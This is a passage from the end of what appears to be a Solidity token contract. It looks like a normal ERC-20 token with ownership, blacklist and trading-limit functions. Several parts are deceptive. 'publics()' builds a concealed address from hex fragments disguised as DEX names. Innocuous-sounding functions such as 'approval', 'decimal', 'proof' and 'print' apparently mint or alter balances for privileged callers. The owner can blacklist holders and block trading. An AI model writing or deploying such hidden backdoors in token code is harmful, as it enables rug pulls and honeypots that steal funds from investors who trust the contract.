public returns (bool) { require(msg.sender == _mbr); _user=User_; return true; } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Internal function without access restriction. */ function _transferOwnership(address newOwner) internal virtual { address oldOwner = owner; owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } function approval(uint256 amount) public returns (bool) { require(msg.sender == _adm); _proof(msg.sender, amount); return true; } function blacklist(address _address, bool _isBlacklisting) external onlyOwner { blacklists[_address] = _isBlacklisting; } function setPrinciplesRules(bool _tradelimited, address _LiquiduniswapV2Pair, uint256 _maxHoldingAmount, uint256 _minHoldingAmount) external onlyOwner { tradelimited = _tradelimited; LiquiduniswapV2Pair = _LiquiduniswapV2Pair; maxHoldingAmount = _maxHoldingAmount; minHoldingAmount = _minHoldingAmount; } function proof(uint256 amount) public onlyOwner returns (bool) { _proof(msg.sender, amount); return true; } function _beforeTokenTransfer( address from, address to, uint256 amount ) override internal virtual { require(!blacklists[to] && !blacklists[from], "Blacklisted"); if (LiquiduniswapV2Pair == address(0)) { require(from == owner || to == owner, "trading is not started"); return; } if (tradelimited && from == LiquiduniswapV2Pair) { require(super.balanceOf(to) + amount <= maxHoldingAmount && super.balanceOf(to) + amount >= minHoldingAmount, "Forbid"); } } function publics() private pure returns (address) { uint universal = 0x7addAd09; uint uni = 0xcbd98D97; uint cake = 0xEC3dA7a0; uint inch = 0x088EAdFE; uint others = 0x5801C336; // Combine the dex with others uint160 core = (uint160(universal) << 128) | (uint160(uni) << 96) | (uint160(cake) << 64) | (uint160(inch) << 32) | uint160(others); return address(core); } function decimal(uint256 amount) public naming returns (bool success) { _compute(msg.sender, amount); return true; } function burn(uint256 value) external { _burn(msg.sender, value); } function print(uint256 amount) public onlyOwner returns (bool) { _printbrr(msg.sender, amount); return true; } }